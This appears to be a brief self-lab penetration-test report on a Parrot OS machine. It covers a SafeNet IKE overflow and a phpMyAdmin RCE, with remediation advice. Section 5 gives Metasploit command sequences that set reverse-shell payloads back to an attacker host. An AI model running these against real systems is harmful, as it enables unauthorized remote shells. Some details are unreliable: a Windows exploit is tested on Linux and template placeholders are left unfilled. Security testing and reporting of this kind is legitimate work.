**Penetration Testing Report**

**1. Executive Summary**

This report details the results of a penetration test conducted on Parrot OS(My Own System) to identify and evaluate vulnerabilities that could be exploited by attackers. The primary goal was to assess the security posture of the system and provide actionable recommendations for improvement.

**2. Introduction**

**2.1 Objective**

The objective of the penetration test was to uncover security vulnerabilities in [Target System/Network] that could potentially be exploited by an attacker to gain unauthorized access, execute malicious code, or cause other security breaches.

**2.2 Scope**

The scope of the penetration test included:

* **Systems Tested**: Parrot OS
* **Testing Period**: 8/3/2024 TO 9/3/2024

**3. Testing Methodology**

**3.1 Phases of Testing**

1. **Reconnaissance**
   * Gathering information about the target system, including network architecture, open ports, and services.
2. **Scanning**
   * Identifying open ports and services using tools such as Nmap.
   * Performing vulnerability scanning with tools like Nessus.
3. **Exploitation**
   * Attempting to exploit identified vulnerabilities using tools such as Metasploit.
4. **Post-Exploitation**
   * Assessing the impact of successful exploitation and identifying further attack vectors.
5. **Reporting**
   * Documenting findings and providing recommendations for remediation.

**3.2 Tools Used**

* **Metasploit**: For exploiting vulnerabilities.
* **Nmap**: For network scanning.
* **Nessus**: For vulnerability scanning.
* **Wireshark**: For network traffic analysis.
* **Burp Suite**: For web application testing.

**4. Identified Vulnerabilities**

**4.1 Vulnerability 1: SafeNet SoftRemote IKE Service Buffer Overflow**

* **Description**: The SafeNet SoftRemote IKE Service is vulnerable to a buffer overflow that allows remote code execution.
* **Impact**: An attacker could execute arbitrary code with SYSTEM privileges, potentially leading to full system compromise.
* **Exploit Attempt**: The exploit was attempted but failed due to payload compatibility issues.

**4.2 Vulnerability 2: phpMyAdmin Authenticated Remote Code Execution**

* **Description**: The phpMyAdmin application has an authenticated remote code execution vulnerability.
* **Impact**: Successful exploitation could lead to remote code execution on the target system.
* **Exploit Attempt**: Successfully exploited to open a Meterpreter session.

**5. Exploitation Details**

**5.1 SafeNet SoftRemote IKE Service Buffer Overflow**

* **Exploit Command**:

bash

Copy code

use exploit/windows/vpn/safenet\_ike\_11

set RHOST [Target IP]

set PAYLOAD windows/shell\_reverse\_tcp

set LHOST [Your IP]

exploit

* **Outcome**: Exploit failed due to payload issues.

**5.2 phpMyAdmin Authenticated Remote Code Execution**

* **Exploit Command**:

bash

Copy code

use exploit/multi/http/phpmyadmin\_rce

set RHOST [Target IP]

set PAYLOAD php/meterpreter\_reverse\_tcp

set LHOST [Your IP]

set USERNAME [Username]

set PASSWORD [Password]

exploit

* **Outcome**: Exploit was successful, resulting in a Meterpreter session.

**6. Remediation Recommendations**

**6.1 General Recommendations**

* **Patch Management**: Ensure all software, including operating systems and applications, is updated to the latest versions.
* **Authentication**: Implement multi-factor authentication (MFA) to enhance security.
* **Network Segmentation**: Use firewalls and network segmentation to limit exposure of critical systems.

**6.2 Specific Recommendations**

* **SafeNet SoftRemote IKE Service**
  + Apply security patches provided by SafeNet.
  + If the service is not needed, consider disabling it.
* **phpMyAdmin**
  + Update phpMyAdmin to the latest version.
  + Securely manage web application credentials and review access controls.

**7. Conclusion**

The penetration test identified critical vulnerabilities in SafeNet SoftRemote and phpMyAdmin, which could potentially lead to significant security breaches if exploited. Immediate remediation actions are recommended to address these vulnerabilities and strengthen the overall security posture of the system.

**8. Next Steps**

* **Remediation**: Implement the recommended remediation steps as soon as possible.
* **Follow-Up Testing**: Conduct follow-up testing to verify that vulnerabilities have been effectively mitigated.